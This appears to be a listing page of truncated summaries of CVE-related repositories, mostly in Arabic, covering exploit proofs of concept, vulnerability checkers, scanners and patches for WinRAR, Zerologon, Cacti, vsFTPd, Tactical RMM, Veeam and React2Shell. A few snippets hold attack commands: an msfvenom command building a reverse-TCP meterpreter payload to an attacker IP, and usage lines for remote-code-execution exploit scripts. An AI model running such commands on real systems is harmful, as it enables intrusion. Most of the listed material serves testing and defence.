CVE-2018-20250

الإعداد فيديو توضيحي: https://youtu.be/5tuWsi1tGS0 آلة VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit خطوات التنفيذ Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

CVE-2023-36884-Checker

CVE-2023-36884-Checker نص برمجي للتحقق من تحصين CVE-2023-36884 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 الهدف يتحقق هذا السكربت مما إذا كانت توصيات التحصين من Microsoft مطبقة بشكل صحيح. تقول Microsoft على...

CVE-2021-34470scanner

CVE-2021-34470scanner سكربت Powrshell لفحص CVE-2021-34470...

CVE-2025-64392

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

CVE-2025-64392

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

EUVD-2025-211040

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

CVE-2025-64392

CVE-2025-64392 is a reflected cross-site scripting (XSS) vulnerability in Veeam Backup Enterprise Manager . It allows an attacker to execute scripts in the browser of an authenticated portal user who opens a crafted link. This flaw affects Veeam Backup Enterprise Manager (Veeam Backup & Replicati...

CVE-2025-69516

CVE-2025-69516 - تنفيذ الأوامر عن بُعد في Tactical RMM يحتوي هذا المستودع على سكريبت بلغة بايثون يقوم بأتمتة استغلال ثغرة CVE-2025-69516 من نوع SSTI في Tactical RMM. تم اختباره على الإصدار 1.3.1. الاستخدام python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id" الروابط...

CVE-2025-57310

CVE-2025-57310 ثغرة تزوير الطلبات عبر المواقع CSRF في Salmen2/Simple-Faucet-Script الإصدار 1.07 عبر طلب POST مصمم إلى admin.php?p=ads&c=1 تتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية. CWE CWE-352: تزوير الطلبات عبر المواقع CSRF CVSS v3.1 النتيجة الأساسية: 8.8 عالية...

CVE-2021-21985-Checker

مدقق CVE-2021-21985. تنفيذ بسيط بلغة PowerShell لـ @alt3kx nmap script. الاستخدام .\CVE-2021-21985.ps1 vcenter.hostname.com الإخراج الهدف ضعيف أو الهدف ليس ضعيفًا...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu هو سكربت عميل MySQL مكتوب بلغة Ruby قمت بتأليفه. يقوم بمعظم ما قد يفعله عميل MySQL عادي: SQL Shell، Update/Delete/Drop لقاعدة البيانات/الجدول، إضافة/حذف المستخدمين، تفريغ قاعدة البيانات قواعد البيانات/الجدول مع خيار gzip...... بالإضافة إلى بعض الخيارات الإضافية لجعل الحياة أس...

cve-2020-1472

نص اختبار ZeroLogon نص برمجي بلغة Python يستخدم مكتبة Impacket لاختبار الثغرة الأمنية لاستغلال Zerologon CVE-2020-1472. يحاول تنفيذ تجاوز المصادقة عبر Netlogon. سينهي النص البرمجي عمله فورًا عند نجاحه في تجاوز المصادقة، ولن ينفذ أي عمليات Netlogon. عندما يكون وحدة تحكم المجال DC محدثة بالتصحيح،...

CVE-2022-46169

CVE-2022-46169 POC برنامج إثبات المفهوم / سكربت CTF لاستغلال CVE-2022-46169 في Cacti، الإصدارات =1.2.22 تمت كتابة هذا السكربت لحل تحدٍّ من نوع CTF. استندت فيه إلى السكربتات النموذجية التالية - واجهت صعوبة في فهم ما تفعله هذه السكربتات فعليًا، لذا أعدت كتابة تفسيري الخاص لها، مما ساعدني على فهم...

msxml4-remediation

معالجة MSXML 4.0 PowerShell نص PowerShell لمعالجة النتائج الأمنية المتعلقة بـ Microsoft XML Core Services MSXML 4.0 ، والتي لم تعد مدعومة ويتم الإبلاغ عنها عادة بواسطة ماسحات الثغرات الأمنية. يقوم هذا النص الذي قمتُ بإنشائه بإلغاء تسجيل ملفات .dll لـ MSXML 4 وإعادة تسميتها. يؤدي ذلك إلى معالجة...

React2Shell-Vulnerability-Verification-Script

نص التحقق من ثغرة React2Shell verifyreactvulnerability.py ما هذا النص؟ هذا نص بايثون بسيط ومستقل أُنشئ لمساعدتك في تحديد ما إذا كان مشروعك متأثرًا بثغرة React2Shell الحرجة المعروفة أيضًا بـ CVE-2025-55182. يقوم بإجراء فحص من مستويين: 1. فحص التبعيات : يفحص ملف package.json الخاص بك لمعرفة الإصدار...

CVE-2021-26084-patch-

تصحيح CVE-2021-26084 تصحيح CVE-2021-26084 المقدم من "Confluence Security Advisory - 2021-08-25" هذا مجرد حل مؤقت للخوادم المبنية على لينكس، لقد وفرت أتلاسيان نسخة مصححة جديدة، إذا كنت لا تريد الترقية فقط قم بتطبيق التصحيح! التثبيت قم بتنزيل ملف cve-2021-26084-update، وتأكد من تشغيله بصلاحيات مدير...

CVE-2011-2523

CVE-2011-2523 usage: CVE-2011-2523.py -h -v RHOST RPORT vsFTPd 2.3.4 CVE-2011-2523 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2011-2523 positional arguments: RHOST target address RPORT target port optional arguments: -h, --help show this help message and exit -v, --version show program'...

CVE-2025-55182-test

اختبار CVE-2025-55182 تحقق مما إذا كانت نقطة النهاية الخاصة بك معرضة لـ CVE-2025-55182. المتطلبات pip install requests الاستخدام هدف واحد $ python3 react2shell-test.py -u https://app.example.com أهداف متعددة من ملف $ python3 react2shell-test.py -l targets.txt مع خيارات $ python3 react2shell-test....

CYBERDUDEBIVASH-ServiceNow-AI-Agent-Audit-Script

CYBERDUDEBIVASH سكريبت تدقيق وكيل AI لـ ServiceNow v1.1 يناير 2026 تأمين مستقبل AI الخاص بك – أداة تدقيق من فئة المؤسسات مع تحديثات 2026 يقوم هذا السكريبت بتدقيق وكلاء AI لـ ServiceNow بحثًا عن الثغرات مثل CVE-2025-12420، والفجوات الحوكمية، ومخاطر الامتثال. مدعوم من CYBERDUDEBIVASH – نظامك البيئي...

Firmware-CVE-2025-7545

التحضير لتحميل المستودع 1. نقوم بتحديث الحزم: sudo apt-get update 2. عند الحاجة، نقوم بتثبيت git: sudo apt install -y git تحميل المستودع، تثبيت Binutils الثنائي القابل للاستغلال وإعداد البيئة 1. نقوم بتحميل المستودع: git clone https://github.com/alxsourin/Firmware-CVE-2025-7545.git 2. ننتقل إلى...